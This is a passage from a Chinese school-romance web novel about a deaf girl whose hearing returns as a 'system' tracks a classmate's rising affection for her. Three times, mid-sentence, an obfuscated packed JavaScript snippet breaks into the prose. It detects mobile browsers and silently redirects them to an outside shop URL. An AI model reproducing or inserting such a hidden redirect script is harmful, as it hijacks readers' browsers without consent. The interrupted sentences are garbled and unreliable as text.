沈星桥:“……” 池老爷子:“…………”逆子。 “池家专用的房间”并非胡诌,李闻蝉一路疾驰,将池映雪抱上顶楼。 这一层都是池家的套间,宴会开始前,池老爷子和其余几人商谈会面就在这里的书房。 李闻蝉当着池映雪的面输入密码,关上门才有空深呼吸。 他大步迈向客厅里的沙发角,将怀里的人小心翼翼地放下。 沙发柔软,陷下去很浅一块。 咫尺距离的唇张开,又终究没说话。 李闻蝉转身走向洗手间,瘦高虚影若隐若现,哗哗的水流声响起。 隔着一层磨砂玻璃,他整个人像在轻轻颤抖,水声温润,将带着后怕的沉重呼吸包裹。 影子越来越虚,池映雪转回头,用力擦拭眼眶。 良久,李闻蝉红着眼睛回来,在沙发上半跪。 柔软湿热,陌生的触感袭来,池映雪下意识躲开。 雪白的毛巾停滞在半空,很快更轻缓地凑过来,带着一丝试探。 池映雪睫毛颤抖。 她忍不住抬起薄薄的眼皮,在他狭长的眼里看见缩小版的自己。 刘海完全乱了,好几缕黏连在一起;做了好久的盘发也散得不像样。 估计脸也是脏的。 池映雪垂下睫,手指捏着衣服的布料,身子不自然地后撤。 下巴被轻轻擒住,抬起来。 李闻蝉那张得天独厚的脸近在眼前。 “你在想什么?” ——在想谁? 他目光很近。 池映雪一时忘记呼吸。 李闻蝉没再问下去,眸色涣散后收紧,认真地,深深地端详着她的脸。 池映雪的睫毛一闭一扬,就在这短短时间,视线上方的人俯首。 他的味道清新,和阴影一起压过来。 池映雪向后仰去,后颈紧贴沙发背。 染有柑橘香的身影在几厘米之外停下。 吞咽声很清晰。 一阵温温的风落在额头,她的刘海被他吹开。 哑然的笑声自发顶传来:“虽然说也听不见。” “池映雪,你肚子叫了。” 池映雪:“…………!??” 去找唐伯霓的时候,池映雪意外遇见了沈星桥和沈夫人,几人坐在相邻的位置用餐。 一边记挂着和唐伯霓的交往,一边还要应对沈夫人热情的问候,她打字的手指几乎没停,晚餐自然没好好吃,李闻蝉更是滴米未进。 他叫人送餐到顶楼,吃完后,两个人换好秘书送来的衣物。 坐在观光用的玻璃电梯里,已经是夜晚。 透明的玻璃壁视野开阔,华灯初上,夜景灯火潋潋。 南城的天际线连接江面,深蓝将耸入云端的建筑笼罩。 池映雪眼神划过惊叹。 李闻蝉散漫地靠在玻璃上,瞄了她一眼。 他勾起唇,手不再插在兜里,撑在电梯的横栏上,与池映雪并肩站。 电梯缓慢下行,靠近外部的护栏和挡板,黑色将视线暂时遮挡。 池映雪总觉得自己忽略了什么。 玻璃反射背面的黑,她在反光中看见自己的脸,脸上粉色的唇。 “!” 池映雪张开嘴,清润的空气涌进去,喉咙不再有前阵子的嘶哑感。 她还记得那几个短促的音节。 难道是…… 浅蓝色的电子屏蓦然出现,熟悉的面板一个接一个弹出来,左上角还标有历史记录的时刻——— 【18:38】 [叮!攻略对象好感+15。] [当前男主好感:55。] 【18:51】 [警告!攻略对象好感-5。] [叮!攻略对象好感+10。] [当前男主好感:60。] 【18:57】 [叮!攻略对象好感+5。] [当前男主好感:65。] [叮!攻略对象好感更新……恭喜解锁“听力等级3”!] [叮!“与男主牵手”任务完成,更新为:“爱的抱抱!”。] [叮!“爱的抱抱!”任务完成,更新为:“*/kisskiss\*”。] 系统从空中像云朵爆炸般出现:[宿主,我就走了这么一会,什么情况?!!] “我,我也……” 池映雪快被洪水似的显示框淹没,眼睛瞪大,显得很圆,贴在玻璃壁上的手掌僵硬。 一道强烈的视线自身侧投来,池映雪的手指微微蜷起,呆滞地将脸旋过去。 不懂。 她的圆眼睛很黑很亮,在玻璃反光下近乎透明,就这样望着他。 观光电梯持续向下,挡板远去。 刹那间,整座城市的晚灯仿若被她的眼睛点亮。 李闻蝉呼吸停滞,仓皇移开眼。 [叮!攻略对象好感+2。] 李闻蝉眺望窗外的繁景,视线没有聚焦。 “池映雪。” 他的眼向左下方瞟,又一次撞进那双瞳。 “……没什么。” 李闻蝉低头,轻笑一声。 他说给谁听呢。 “这样看南城夜晚的灯,还挺漂亮的。” 周一早。 池映雪站在后门前,双手捏着书包带,就是不进去。 系统:[宿主再磨蹭一会,校会都要开始了。] 池映雪:“噢。” 系统围着她转了一圈,恍然道:[宿主不会是害怕面对男主大人吧?] [也难怪呢,毕竟,人家可是对宿主有“好感”嘛~~] 池映雪:! “我才没……” 唰——— 后门被从内拉开,李闻蝉清瘦高挑的身形一览无余,校服整整齐齐穿在身上。 池映雪下意识后退两步,被他长手一捞,拎着书包进了教室。 轻笑落入耳畔。 池映雪七上八下,刚放完书包就走出教室另一侧的后门。 李闻蝉看着她落荒而逃的背影,挑起眉,眸光闪烁,流转回摊开的掌心。 手掌合拢,捉着空气往上掂了掂。 “太轻了。” 胡挚叼着一袋奶,从窗外把书包和冒着热气的鸡蛋糕扔到桌上:“什么太轻?” 等他从后门进来,李闻蝉气定神闲地坐在椅子上:“没什么。” “就是觉得有人应该向你学习,多吃点。” “那是!”胡挚一脸骄傲,“吃好睡好比什么都重要。” “啊对了!” 胡挚拍了下脑门,转过身来,“我听我老爹说,盛池昨天那个宴会出事了?你和雪神还好吧?” 李闻蝉放下抱在胸前的双手,摇了摇头,轻咳一声。 “你怎么知道我和雪……池映雪一起去的?” “你俩晚自习不都请假了么。我提了一嘴,万苏瑶说的。” 胡挚心直口快,“说起来,你们真不够意思,火灾这么大的事怎么也不在群里吱一声?我昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635278|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天睡得晚,要不是出门前老爹来问,我都不知道!” 他委委屈屈,“蝉哥,以后有事要说啊。” 李闻蝉无奈地笑了一声,和他互相打了两下,没说好不好。 胡挚大大咧咧的,很快翻篇。 他又想到一件事,凑过去八卦:“我听说雪神昨天大杀四方啊,蝉哥,作为小叔,什么感受?” 前半句,李闻蝉还扬唇浅笑;“小叔”两个字冒出来,他的面色瞬间有些僵硬。 “什么小叔?” 李闻蝉装傻,眼神要多清澈有多清澈。 “谁是谁小叔?” 胡挚被他整懵了,咽下鸡蛋糕,弱弱道:“你不是说,按资排辈,雪神得管你喊小叔,你因此照顾她嘛。” “我有说过?” “………………你没有吗?” “怎么可能。” 李闻蝉转着笔,眸色坚定:“我这么年轻,怎么会让别人喊我小叔?多显老啊。” “而且归根结底,又没有血缘关系。” 笔头敲了敲桌子,一击定音,“你说对吧?” 胡挚眨眨眼,缓慢地点头:“这倒是……” 胡挚陷入深深的自我怀疑。 他旋回身,望见桌上随意撂下的数学习题,捂住脑袋猛揉。 ——他学习学傻了?记忆混乱? 李闻蝉心虚地盯着胡挚的后脑勺,轻拍了下脸,靠在椅背上。 另一侧的后门,池映雪挪开贴在门上的耳朵,眺向阳台外蓝粉色的晨空。 “……” 她有一下没一下地整理校服裙摆,系统瞅了一眼,越弄越乱。 也不知道在弄什么。 [宿主,要不和男主大人就这么发展下去吧?] 系统跃跃欲试,[现在是“好感”,以后还有“喜欢”“深爱”!宿主和男主好好发展,没准连助听器都不用就能恢复听力呢!] 池映雪抓紧裙子。 “你不觉得这个好感度太反常了吗?” 池映雪回避它的鼓舞,微蹙起眉,“之前一直降,现在又一下升这么多。” “你要说他喜,不是,说他对我有……” 即使只在心中默念,都很烫嘴。 “有好感。” “我不这么觉得。” 池映雪低垂着睫毛,“忽冷忽热不说,他本身又那么受欢迎。” “更何况他还让我………” 她顿了顿,“所以,怎么会呢。” 系统闷哼。 [宿主不信我们最精密无双的好感度测试仪?那不如我们打个赌!] 池映雪:“那算了,我还欠着一个赌注。” [对哦——] 系统瞬间化身好奇宝宝,[我不在的那段时间,男主大人说要求了吗?是什么呀?] 池映雪嘴角抽了抽。 “嗯,说了。” “他让我答应他一件事。” [是什么?是什么!] 系统两眼放光。 不会是……“做我女朋友”什么的吧!? 池映雪靠在墙上,瞪了眼天边轻飘飘的浮云。 昨天傍晚,酒店顶楼。 李闻蝉帮她摆好餐具,倒上葡汁。 吃饭时相顾无言,只是坐在一起,各自默默用餐。 李闻蝉三两下解决完,优雅地转着玻璃杯,发来条消息。 「赌约。」 「我想好了。」 远方的云飘走,露出早晨鲜亮的太阳光。 池映雪打住思绪,弹了弹系统的脑袋。 “不告诉你。” “反正。” 羽睫遮住她眼底的情绪,比被弹了个正着的系统还闷。 “他肯定不会喜欢上我就对了。” 59. 第 59 章 今天是宣传大使投票通道开启的最后一天,因为池映雪和系统给邢芷报了名,池鲤鲤的票被分走许多,本就不稳固的第一名与邢芷、另一个对手几乎平票。 晚自习放学后,池鲤鲤留下来拉票,池映雪乐得清闲,一个人背着书包下楼。 手机震动,她边走边看,忽然回头。 沈星桥站在上面的台阶,温温淡淡一笑。 StarBridge:「家里的司机临时有事,我已经和秦姨说过,我们一起回去吧。」 池映雪点头,站到楼道的角落等他下来。 前段时间闲暇,池映雪的头发总被万苏瑶编成各式各样的辫子,这几天又恢复低马尾。 柔软的乌发从细细的蓝色发绳处垂落,泛着楼道窗玻璃折射下的秋光。 沈星桥走到她身边,目光停留在发尾阳光洒落的光点,呼吸都轻了些。 他的手机还握在掌心,拇指划开锁屏。 粉色薄唇唇角上扬,因为时常微笑,这样的弧度很容易被忽略。 光标忽闪,沈星桥点开表情包库,里面全都是从池映雪那里保存下来的。她总是很爱用些可爱的表情。 比如,放鞭炮之类。 还没有选好,备注为“母亲”的消息从上方弹出。 「公司有事,我去出差了。你记得好好复习,上次齐老师说的那种低级错误不要再犯,听见了吗?」 「妈妈相信你一定可以,期待你保持第一的好成绩。另外,我在盛池的朋友说,池映雪在酒店那天后就被老爷子夸奖了,你最近和她相处如何?要向她学习,我在你身上花那么多心血和资源,她那种人都能做到,你没道理不行,是吧。」 沈星桥的唇角还上扬着,几乎看不出任何变化。 池映雪已经重新迈步,暖黄色的窗光掠过,背影出现在沈星桥的视野,他将手机收好,默默跟上。 李闻蝉和胡挚刚出班门,就看见他们并肩离去的身影。 胡挚眉毛拧起来:“池映雪怎么还和沈星桥走一起?” 李闻蝉没说话,手插在兜里,大步朝楼梯道走。 胡挚这下才反应过来什么,两步跨过去,手肘抵向他的腰。 “嘶。” 李闻蝉避开的动作不及时,额头冒了颗冷汗,“别动。” 胡挚被吓到,飞快弹开手:“我去,我的锅我的锅!” “我以为你早好了呢。” 胡挚惊异道,“你那强到一打五毫不怵的反人类自愈力去哪了?” “还是说——” 胡挚合理怀疑,“你不会一直懒得上药吧?” “……咳。” 李闻蝉轻揉腹部的瘀伤,“上了。” “不太及时而已。” “那就行。” 前面的两个身影越来越近,胡挚这才想起他要问什么。 “你没告诉池映雪,这块伤是沈星桥撞出来的?” 胡挚愤愤:“靠,想到这个我就生气!” “我还真不信他不是故意的,怎么就那么巧,倒下之前还要伸手拽你一把?” “要不是他你根本不会摔,更不会撞伤啊!” “池映雪不知道吧?她知道了肯定向着你,咋会和沈星桥走……” 李闻蝉打断他:“别说。” 胡挚语塞,叹气:“也是。” “人家两家是实打实的世交,这种没证据的事,说了没准她更难做。” 李闻蝉眸色一暗,转而睨他:“你什么时候心思这么细腻?” 胡挚:“还不是我老爹!看我现在好好学习,又觉得我有救了,连夜把权力从经理人那边收了些,还天天在饭桌上用这些弯弯绕绕熏陶我。” 李闻蝉笑了笑:“挺好。” 他们步子很大,准确来说,李闻蝉迈步大,胡挚在后面紧跟。 不一会,就离前面的两个人几步之遥。 前面只隔着一个男生,抱一大桶桶装水,不知要搬去哪里。 “让一让,让——” 嘹亮的声音在楼道内回响,脚步声的正前方,并肩行走的两个身影一前一后,都没有反应。 沈星桥的手还放在兜里,捏紧手机冰冷的边沿。 蓝色桶装水在雪白的校服外套背部投落蓝色阴影,再往下就是一节一节的台阶。沈星桥紧抿唇,不再微笑。 干涩的眼终于闭阖,又睁开,第三声“让”响起之前,迅速朝她的衣角伸出手指。 拐角处人流密集,黑色的斜挎包撞在楼梯的栏杆上,响声闷闷。 池映雪脚步停顿,侧身回头。 恰好与毫厘之差的桶装水擦肩。 狼狈的身影抱着水桶蹿过,掀起一阵风,清清凉凉,低马尾在空中旋甩后,尾部被拂起弧度。 两只手同时僵在空中。 池映雪正对着身后突然出现的两人,沈星桥将手重新插入兜里。 李闻蝉刚揪上那条红色的书包带,眨了两下眼,没松开,另一只手忙乱地翻兜找手机。 身高手长,长得好看,即使做这样的动作也不显得滑稽。 李闻蝉:「介意搭个顺风车吗?」 池映雪抬眼,仔细打量他和胡挚。 顺风? 他家和她家乘地铁都反方向吧。 池映雪沉吟一瞬,打算和司机说重新规划路线。 李闻蝉的消息发来得飞快:「我们要去网咖,就是我之前坐地铁和你顺路的那家。」 一边的胡挚挂在他身上看屏幕,震惊地抬起头:“我?我答应我老爹以后……” “咳咳咳!” 李闻蝉瞥了眼沈星桥,猛清嗓子,声音异常高,捂住胡挚的嘴。 李闻蝉:「拜托?」 保姆车后排的沙发座有四个,面对面分布。 司机拉开车门,池映雪让客人们先上。 李闻蝉像一堵围墙般立在她肩侧,单手插兜,另一只手伸出来,对沈星桥先散散漫漫地做了个“请”的动作。 待沈星桥坐上去后,他推了把胡挚:“你坐沈同学旁边。” 胡挚一只脚才踏上车,惊疑回头:“哈??” 李闻蝉拍了拍他的后脑勺:“赶紧的,一会让别人久等了。” 胡挚摸不着头脑,郁闷地坐下。 李闻蝉随即钻进车,堂而皇之地坐在沈星桥正对面的位置,整理校服衣摆,眸光瞥向身边清瘦的身影。 寒暄后,得知沈星桥搭顺风车的始末,他口吻熟稔:“我们小雪现在长大了啊,知道照顾别人了。” “别人”两个字,咬得很重。 池映雪:“……” 谁跟你“我们”。 系统星星眼:[男主大人说的没毛病呀!你是池家千金,他是池爷爷养子,可不就是一家人嘛!] 反正在他们眼里她什么也听不到,池映雪装作一无所知,把头埋在怀中书包上看手机,膝盖别扭地偏向车窗。 “也一直没机会和你说句谢谢,沈星桥同学。上次生日宴我去晚了,麻烦她找别人陪着跳舞。” 池映雪单手撑在靠近声音来源那侧的下颌,划拉屏幕,睫毛垂下,瞳孔向旁滑过去。 视野里的校服裤因为身高腿长没合拢坐,随着车辆前行的抖颤,愈发向她这边靠。 李闻蝉:“这次就多谢你了。以后都不会。” 沈星桥颔首,始终保持温凉的笑意。 胡挚暗中观察很久,又开始质疑自己起初的想法。 这俩还挺……礼貌恭敬的啊。 难道真是他想多了? 话说沈神从小就是“别人家的孩子”,也没有必要恶意拉蝉哥一把吧,图什么呢? 李闻蝉神清气爽,轻轻哼起歌。 池映雪竖起耳朵聆听,歌声却戛然而止。 [警告!攻略对象好感-1。] 池映雪:嗯?? 池映雪向左偏头,撞入一双浓墨般幽深的眼。 李闻蝉像要将她盯穿,目光很快锁定她的手机屏幕,聊天界面反光看不明晰,只能看见最新发过去的“玫瑰花”emoji。 李闻蝉嘴角向下,又旋正身,对面的沈星桥也低头捧着手机打字。 池映雪看了他半天,没看出来什么,摇摇头重新投入对话框。 李闻蝉忽然发来消息:「坐车聊天,也不怕晕车。」 池映雪突然意识到给他的备注还有“爱心”的emoji,飞快向左瞄一眼,见他并未分眼神过来,松了口气。 她坐远些,靠在沙发椅的扶手上,将手机背对他打字。 「我不晕。」 李闻蝉牙齿发酸。 「你就一刻也等不了?」 「和谁聊天,还要避着我啊,是不是朋友了。(枯萎玫瑰花emoji)」 池映雪眨了眨眼。 说的也是哦。 她果断退出和他的聊天,切换到刚才的界面,把手机递过去。 李闻蝉眼睛忽闪,咳了几声,遮遮掩掩地打量一眼对面:“不好吧……” 眼睛却很诚实地钻进屏幕里。 备注:唐女士。 唐女士:「阿蝉的事我不方便说太多,不过我想只要你问,他都会说。(打气)」 唐女士:「我们虹文再见。」 小雪:「嗯嗯,好期待。(玫瑰)」 李闻蝉:“……” 李闻蝉坐正,沈星桥还在打字,眼神凝重而严肃,果然不像在和同龄人对话。 池映雪收到好感度的更新提醒。 [叮!攻略对象好感+2。] [当前男主好感:68。] 次日一早,池鲤鲤高昂着下巴,如一只优雅的天鹅般踏入一班教室。 邢芷恭维:“是谁这么厉害,在宣传大使的‘女神’pk里得到了最高票啊?” 池鲤鲤放下书包,撩动卷发:“要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635279|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是你报名,我会赢得更轻松。” 邢芷:“鲤鲤你信我,我真的没有!” “啪!” 一叠纸被甩在池鲤鲤面前的课桌,打断邢芷的解释。池鲤鲤和邢芷一同掀眼,同班的孟心词双手抱胸,面色不善。 她身后还站着万苏瑶和池映雪。 万苏瑶来之前就和池映雪透露:「还记得之前我来一班找人,你在外面等吗?那次我找的就是孟心词,她家和我家别墅连着。」 「孟心词和池鲤鲤从幼儿园就开始争班花、争老师关注,老对家了。这次多亏你找出邢芷在论坛散播小孟谣言的证据,不然谁能想到她们会这样呀。」 孟心词长相清丽,精致打扮与池鲤鲤不相上下,指着桌上的铁证:“说我整容、海王,是在变相承认我比你漂亮和受欢迎吗?” “把我的票拉下去又怎样?这是你小跟班找人在论坛污蔑我的聊天记录,我已经交到办事处去了,校园宣传片你也别想拍!” 池鲤鲤:“你被说关我什么事!谁稀罕……” 她一转眸,瞧见邢芷支支吾吾的神色,嘴角瞬间僵硬。 池鲤鲤的气势宛如被扎破的气球,虚瘪下去,但还好沈星桥今天请假。 池鲤鲤咬紧唇,重新昂首:“那又如何?” “拍不了就拍不了,你以为我稀罕吗?”池鲤鲤对孟心词放话,余光不断轻蔑瞥向站在边缘的池映雪,“今天唐老师回虹文,没有她资助的学生在校,只能让投出来的宣传大使接待和采访,就算你去告状,他们也不会找到新的人选。” 不然还能找谁?那个哑巴吗? 池鲤鲤想到秦书对她的期望和嘱托,整理着领结:“那可是唐伯霓女士!” 孟心词紧咬牙关。 僵持之下,一直安静当背景板的池映雪手机震动。 池映雪扯了扯万苏瑶的袖子,和她对视一眼,转身出门。 池鲤鲤从窗中看见她匆匆离开的方向,忽然又有种即将失去什么的预感。 不一会,走廊上爆发阵阵呼声。 “啊啊啊,是我唐女神!唐女神来了!好想要签名啊!” “这个漂亮阿姨是谁啊?” “天,我大虹文的名校友你不知道?!去年那个双国集保送的学姐就是唐女士资助的,她还在P大学新生发言上推荐了唐女士的新作……对,就是那个伯霓大大!” “咦?唐女士搂着的那个女生是谁呀?” “池,池什么来着……” 池鲤鲤猛然起身,大步奔向走廊,朝楼下看。 唐伯霓一身干练西装,刚和池映雪拥抱过,还满脸慈爱地帮她整理头发。 虹文的校长、书记等人围成一圈,环绕着二人,旁边还有随行的记者和闪光灯。等唐伯霓和其他人交谈时,池映雪校服整齐,安静乖巧地站在一旁,也不显得突兀。 楼上同学们议论纷纷:“我之前没发现,她有点漂亮啊。” “听说她上次考得不错呢——池映雪,是叫这个吧?名字也好,这不比池鲤鲤那个ABB好听啊?” “你们小点声,人家还在呢……” “切,你们刚才没听见啊,她之前还和那个邢芷诬陷人家孟心词,就为了争这个名额,结果有什么用?就该让池映雪同学这样的人来打压她们那种坏风气!” “真千金就是真千金……诶老张,这是你们班上的不?” 被叫做“老张”的男生遭到周围几人一阵调侃的推搡,红着脸点头。 池鲤鲤心里忽然升起一股恐慌。 她以为的聋哑、瘦弱、边缘人,什么时候居然站在了人群的中心,站在她都可望不可即的老师身边,丝毫不显得违和? 池映雪在楼下专心合照,对上面的讨论一无所知。 白日秋阳,在她额顶笼罩淡淡的光晕。 咔擦。 李闻蝉趴在三楼阳台,将手机揣兜,手撑着脑袋,长眸眯起。 比起他的抓拍,万苏瑶显得专业许多,不断调整拍照的角度,正脸侧脸。 万苏瑶和秋怡炫耀:“我拍的小雪,好看吧!我给她专门建了个相册,里面还有上次生日宴,上上次出去玩,你看……” 李闻蝉旋过身,等她们叽叽喳喳聊完,若无其事地掏出手机,晃到万苏瑶身边。 “诶,我们手机型号一样。” 万苏瑶奇怪地看了他一眼:“对啊,咋了。” 李闻蝉:“你有没有试过那个隔空投送功能?” 他一脸很感兴趣的样子,“碰一碰。” “没有,你要试试?” “行。” 李闻蝉俯身,随手在她屏幕上划下一条竖线,好几排照片全部被选中。 万苏瑶毫无所觉,照片很快传过去,随口自夸:“怎么样,拍得好看吧?” 李闻蝉息屏,重新靠上阳台,朝下方的人影眺望。 “嗯。” “拍的好看。” 60. 第 60 章 期中考定在周五到周日,按照高考制度考3天。 夜晚,七人小群的日常从吹水打游戏变成学习互助。 池映雪刚把写好的步骤拍下来发在群里,@问推导方法的穆雨阳,就发现章子健开了个语音小房间。 李闻蝉、胡挚、秋怡都加了进去,看消息记录是在讲语法。 池映雪也悄悄加进去。 其余人的声音隐隐约约,李闻蝉流利漂亮的发音从手机里倾泻而出。 “这个时态在书面上——” 李闻蝉忽然“哟”了一声,其余几人停下来,等他接着说话。 池映雪猝不及防从他口中听见了自己的名字。 “池映雪。” 电流从手机听筒传来,让人耳际微酥。 李闻蝉:「你也来了?」 章子健:「池老师,我们在讲英语时态,最基本的那种,你这种大神就不用来降维打击了。(大哭)」 池映雪犹豫了一下下,打字:「其实我发现,我耳朵好些了。」 准确来说,是李闻蝉的功劳…… 「你们聊的语音,我把声音开最大,好像能听见一点点。」 据系统说,60好感度代表垂垂暮年的老年人听力。 只要把手机拿到耳朵附近,或者贴近她讲话,在安静的环境里都能听个大概。 群里静了几秒,一瞬间爆炸。 胡挚:「真的假的我去!这么牛!」 章子健:「恭喜恭喜,池老师去医院看过没?」 秋怡:「小雪!!!太好了!!那你现在可以配助听器了嘛?!」 池映雪趴到桌上,弯了弯唇,向下划了一下屏幕。 李闻蝉的消息弹出来。 「(鞭炮)(鞭炮)(鞭炮)」 池映雪轻轻:“哼”。 清晰的音节,随鼻音带出来。 穆雨阳:「活久见,蝉哥居然发小表情了!」 秋怡:「@瑶瑶,你人呢?这么大的喜事不来普天同庆一下?」 池映雪也发现了,今晚万苏瑶一反常态没有冒泡,是在专心复习吗? 嗯……好像不太可能。 胡挚:「我猜是写作文又写自闭了。老师也真是,明知道我万姐胸无点墨,还要留这么文艺风的散文习作。」 穆雨阳:「什么习作?」 秋怡:「写最喜欢的季节,练文笔,仿汪老和去年满分作文等等。」 穆雨阳:「嚯!采访一下,你们都写的哪个?」 秋怡:「我肯定是秋天,瑶瑶估计夏天吧?她爱豆选秀就在夏天。」 两条消息同时弹出。 穆雨阳:「蝉哥呢?」 秋怡:「小雪呢?」 突然被点名,池映雪赶紧点击打字栏。 最喜欢的季节…… 「也是夏天吧。」 池映雪按灭屏幕,手机倒扣着放一边,用写字的笔杆抵住下巴。 大约五分钟后,很细微的叮声响起。 李闻蝉:「我没有喜欢的季节。」 第二天一早,万苏瑶死气沉沉地落座。 胡挚嬉皮笑脸路过,吹了个口哨,被她怒目圆瞪。 胡挚:“哎哟,咋了这是?” 秋怡:“她爱豆疑似恋爱了,还是和站姐。瑶瑶现在看见男的就烦,劝你躲远点。” 胡挚提起他和李闻蝉的水杯,一溜烟跑走了。 池映雪给了万苏瑶一块巧克力,万苏瑶也不管她听不听得见,转过头就开始哀嚎:“小雪啊,你不追星不知道,我真的好苦啊——” “他说过25岁前上升期绝不恋爱的!恋爱就恋爱嘛,还找了个粉丝,他是不是觉得他那个校霸烂剧能火全靠自己啊?!剧情那么油腻,顶撞老师,掐腰女主,一嘴一个‘老子’,都是我们辛辛苦苦做数据,我一个月零花有一半以上都花在他身上了……” 池映雪轻拍她的背,秋怡看不下去,劝道:“你怎么知道他真的谈了?万一是假的呢?” “呵呵!照片都可能是ps的,但人的状态不会!” 万苏瑶一拍桌子,“平时他一个人能吃两大碗牛肉面,加五个鸡蛋,还和我们炫耀他吃不胖!可昨晚直播,这小子还装上了!变成小鸟胃了!” 李闻蝉接过胡挚从窗外递进来的水杯,眉眼怔然,举着杯子起身踱步,在池映雪桌前倚靠。 池映雪将靠近他的笔筒朝里面移动,李闻蝉瞥了一眼,和万苏瑶闲聊:“你刚说的,什么意思?” “小鸟胃和恋爱有什么关系。” “一看你就没经验!”万苏瑶没好气道,“人只要是在喜欢的人面前就爱装,饭吃一两口就饱,而且吃相也很文雅。” “那不就吃不饱?” “之后自己私下吃呗。” 李闻蝉:“……那要是一个人在另一个人面前放得开呢?” “比如先和别人吃了一顿,没吃好;又和他一起吃,吃得很——” 喉结滚动,黑眸闪过不自然的暗芒,“很香。” 他的手撑上桌面,稍稍使力。 “随心所欲,做自己,这才是好的情感吧?” 万苏瑶:“是挺好,和所有朋友亲人在一起吃饭不都这样吗?反正我当着男神的面,心思也不会在吃饭上……” [警告!攻略对象好感-0.5。] 池映雪猛然抬头,只能看见黑压压的后脑勺。 他干嘛呀。 教室太吵了,她也听不清别人说什么,可李闻蝉他们难道不是在聊吃饭之类的事情吗? 秋怡:“果然智者不入爱河,喜欢个人还要饿肚子,多可怜啊。” 池映雪还在郁闷,手指转着笔筒,笔筒的边沿忽然被按住。 她抬起薄薄的眼皮,圆眼深深盯向头顶侧眸的男生。 [叮!攻略对象好感+0.5。] 李闻蝉从笔筒中精准无误地抽出一根钢笔,放手里转了几圈。 抬起笔头,又放下,换了一根笔,轻敲在池映雪的脸颊。 白里透粉,比初见时圆润饱满些,却还不够。 清瘦。 像一瓣薄梨花,我见犹怜。 李闻蝉:「吃烤肠吗?给你带。」 大课间,李闻蝉拉着胡挚去小卖部。 池映雪朝窗外望了一眼,清健挺阔的肩背将校服外套衬得线条很好看,和周围的其余人根本不在一个图层。 一根笔忽然戳她的手肘。 是个不算熟悉的班上同学。女生递来一张纸条,双手合十。 「池同学,可不可以请你和我换下值日的时间?我今天有事,不方便扫地~」 系统:[为什么要来找你呀?你们有说过话吗?] 没有。 池映雪对上她的眼神,抿抿唇。 周围的好友们都不在,捏着纸条的手指逐渐用力,她点头,在女同学惊喜的眼神里看见两个渺小的自己。 女同学加了她的好友,嘱咐了值日的内容。 刚来虹文的时候,池映雪的企鹅好友栏里只有两个人。 现在有五班三分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635280|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之一的同学、穆雨阳、沈星桥和孟心词,还有刚加上的女生。 “系统,你说朋友是什么呢?” 池映雪放下手机,呆呆看向窗外。 “能够在需要帮助的时候被想起,也算是交到新朋友了吧?” 系统一脸高冷:[不懂。反正本统只允许配得上的人成为朋友。] 池映雪轻笑一声,拍了拍它:“统真棒呀。” 系统不存在的下巴和眼皮一同抬起来瞄她,支支吾吾老半天,哼了一声,最终还是没有在电子屏上落笔。 女生负责打扫第一、二小组的地面卫生,以及扫完地后摆好桌凳。 夜幕降临,教室里的白炽灯依旧明亮。 等同学们都走的差不多,池映雪去阳台的垃圾桶旁边拿扫把,被旁边的男生撞了一下。 她微微皱眉,发现是同班同学后迅速收敛。 原来是之前说过话的小组长,张哲星。他看上去是不小心为之,转头向她道歉时还在和身后两个嬉笑的男生打打闹闹。 池映雪摆手:没关系。 她走后门进教室,后排全部空荡荡。 池映雪低下头娴熟地扫地,刘海在空中轻荡。 一荡,一晃。 纤长的睫毛向上扬。 一组最后排,课桌靠过道那边粘了一个挂钩,折叠整齐的黑色雨伞静静悬挂。 算起来,就在她生日后不久,这把伞就一直挂在这里。 桌上比以前多了一个书立,《小题狂做》的黄色封皮稍稍卷边,《语文基础知识大全》和背诵用的小册子整整齐齐立在一旁。 桌面正中心随意撂着语文书和几乎空白的作文纸,只写了姓名班级和标题的两个字——“喜欢”。后面的季节,像是方格里未作答的填空。 上面用耳机和小小的正方形播放器压着。 池映雪:“我们是不是还有个听歌的任务?” 系统:[对呀!宿主,你可算想起来做任务啦!] [人家还以为,你不做了呢……] 系统划拉清单。 [锵锵!现在的任务有:“共撑一把伞”“把男主写进作文”“手把手教学”“kisskiss”……] [还有“和男主听同一首歌”!宿主把耳机声音开到最大,应该可以听见的。] 池映雪的手指搭在银白色的金属耳机上,绕着圆形边沿转了两圈。 教室里除了她,只有张哲星和住校生。前者扫三四组,后者认真备考,都背对她。 池映雪双手拿起耳机,捂在耳朵上。 金属凉凉的,她把音量调到最大,听见隐隐约约的音调,几秒后切换到下一首。 再下一首。 池映雪的指尖与屏幕分离。 是他经常哼起的那首歌。 两只手将耳机向内抵,看向不断滚动的字幕。 《你听得到》。 钢琴声一点一滴跳入耳畔,时有时无,不甚清楚:“有谁…………” “……不能…依赖…………” 